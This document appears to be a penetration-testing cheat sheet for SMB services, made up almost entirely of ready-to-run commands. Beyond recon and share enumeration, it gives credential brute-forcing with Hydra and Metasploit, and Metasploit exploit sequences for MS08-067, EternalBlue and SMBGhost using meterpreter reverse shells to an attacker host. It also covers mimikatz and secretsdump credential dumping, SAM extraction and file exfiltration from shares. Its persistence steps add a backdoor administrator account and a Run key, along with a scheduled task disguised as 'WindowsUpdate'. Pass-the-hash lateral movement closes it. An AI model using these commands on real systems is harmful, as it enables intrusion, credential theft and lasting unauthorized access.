SMB (Server Message Block)
Default Port: 139, 445
SMB (Server Message Block) , also known as CIFS (Common Internet File System), is a network protocol that allows for file sharing, network browsing, printing services, and inter-process communication over a network.
The SMB protocol provides you with the ability to access resources from a server.
Connect
In order to initiate the process, it's imperative to establish a connection to the Server Message Block (SMB) server.
smbclient -L //target-ip
Recon
Service Detection with Nmap
Use Nmap to detect SMB services and identify server capabilities.
nmap -p 139,445 target.com
Banner Grabbing
Connect to SMB services to gather version and service information.
# Nmap to discover SMB services
nmap -p 445 --open -sV target.com
# Nmap script for SMB version
nmap --script smb-protocols -p 445 target.com
Enumeration
Use various tools for detailed SMB enumeration and information gathering.
Share Enumeration
Discover and enumerate SMB shares on target systems.
Using smbclient
# List shares anonymously
smbclient -L //target.com -U anonymous
# List shares with credentials
smbclient -L //target.com -U username%password
# Connect to specific share
smbclient //target.com/sharename -U username%password
Using smbmap
# Basic share enumeration
smbmap -H target.com
# With credentials
smbmap -H target.com -u username -p password
# Recursive enumeration
smbmap -H target.com -u username -p password -r
User and Group Enumeration
Enumerate users, groups, and domain information from SMB services.
Using enum4linux
# Full enumeration
enum4linux -a target.com
# User enumeration only
enum4linux -U target.com
# Group enumeration only
enum4linux -G target.com
# Password policy
enum4linux -P target.com
Using nmap
# Enumerate shares and users
nmap -p 445 --script=smb-enum-shares,smb-enum-users target.com
# Enumerate groups and domains
nmap -p 445 --script=smb-enum-groups,smb-enum-domains target.com
# Security settings
nmap -p 445 --script=smb-security-mode target.com
Attack Vectors
Exploit various SMB vulnerabilities and misconfigurations for unauthorized access.
SMB Null Session
A Null Session refers to an unauthenticated connection to an SMB server, providing the capability to gather significant information. Exploitation typically involves SMB connections over TCP ports 445 and 139.
# Using rpcclient
rpcclient -U "" target.com
# Using smbclient
smbclient -L //target.com -N
# Using smbmap
smbmap -H target.com -u "" -p ""
SMB Signing
SMB signing, if not enabled, can be exploited, potentially allowing an attacker to conduct a man-in-the-middle attack.
# Check SMB signing status
nmap --script smb-security-mode.nse -p445 target.com
# Using smbclient
smbclient -L //target.com -U username%password --option='client signing=off'
Brute Force Attack
Brute force SMB credentials using various tools and techniques.
Using Hydra
# Brute force SMB credentials
hydra -l administrator -P passwords.txt smb://target.com
# With username list
hydra -L users.txt -P passwords.txt smb://target.com
Using Nmap
# SMB brute force
nmap -p 445 --script smb-brute target.com
# With custom credentials
nmap -p 445 --script smb-brute --script-args userdb=users.txt,passdb=passwords.txt target.com
Using Metasploit
use auxiliary/scanner/smb/smb_login
set RHOSTS target.com
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set STOP_ON_SUCCESS true
exploit
CVE Exploitation
Exploit known SMB vulnerabilities for remote code execution.
MS08-067 (Netapi)
use exploit/windows/smb/ms08_067_netapi
set RHOSTS target.com
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker-ip
exploit
MS17-010 (EternalBlue)
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS target.com
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker-ip
exploit
SMBGhost (CVE-2020-0796)
use exploit/windows/smb/cve_2020_0796_smbghost
set RHOSTS target.com
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker-ip
exploit
Post-Exploitation
Extract sensitive data and establish persistent access after successful SMB exploitation.
Credential Harvesting
Extract credentials and authentication data from compromised SMB systems.
Hash Dumping
# Using Metasploit
use post/windows/gather/smart_hashdump
exploit
# Using Mimikatz (if you have access)
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
# Using secretsdump
secretsdump.py domain/user:password@target.com
SAM Database Extraction
# Using Metasploit
use post/windows/gather/sam_hashdump
exploit
# Manual extraction
reg save HKLM\SAM C:\Windows\Temp\sam
reg save HKLM\SYSTEM C:\Windows\Temp\system
Privilege Escalation
Escalate privileges on compromised SMB systems.
# Using Meterpreter
getsystem
# Using Mimikatz
mimikatz.exe
privilege::debug
token::elevate
# Using PSExec
psexec.exe -s cmd.exe
Data Exfiltration
Extract sensitive data from SMB shares and compromised systems.
Share Access
# Using smbclient
smbclient //target.com/sharename -U username%password
> get sensitive_file.txt
> mget *.txt
# Using smbget
smbget -R smb://target.com/sharename/ -U username%password
# Using smbmap
smbmap -H target.com -u username -p password -d . -R sharename
File Search
# Using smbclient
smbclient //target.com/sharename -U username%password
> ls
> cd sensitive_folder
> get *.pdf
> get *.docx
Persistence
Create persistent backdoor access to compromised SMB systems.
# Create backdoor user
net user backdoor P@ssw0rd123! /add
net localgroup administrators backdoor /add
# Registry persistence
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\backdoor.exe"
# Scheduled task
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\backdoor.exe" /sc onlogon /ru SYSTEM
Lateral Movement
Use compromised SMB access for lateral movement across the network.
# SMB to other machines
smbclient //another-host.com/sharename -U username%password
# Pass-the-Hash
pth-winexe -U domain/username%hash //another-host.com cmd
# WMI lateral movement
wmic /node:another-host.com /user:username /password:password process call create "cmd.exe"
Common SMB Commands
Command| Description| Usage
---|---|---
smbclient| Connect to an SMB/CIFS server| smbclient //server/share
smbget| Download files from an SMB/CIFS server| smbget smb://server/share/file
smbpasswd| Change a user's SMB password| smbpasswd -r server -U username
smbstatus| Display information about SMB connections| smbstatus
smbtree| List SMB/CIFS shares on a network| smbtree
mount -t cifs| Mount an SMB/CIFS share| mount -t cifs //server/share /mnt/point
umount| Unmount an SMB/CIFS share| umount /mnt/point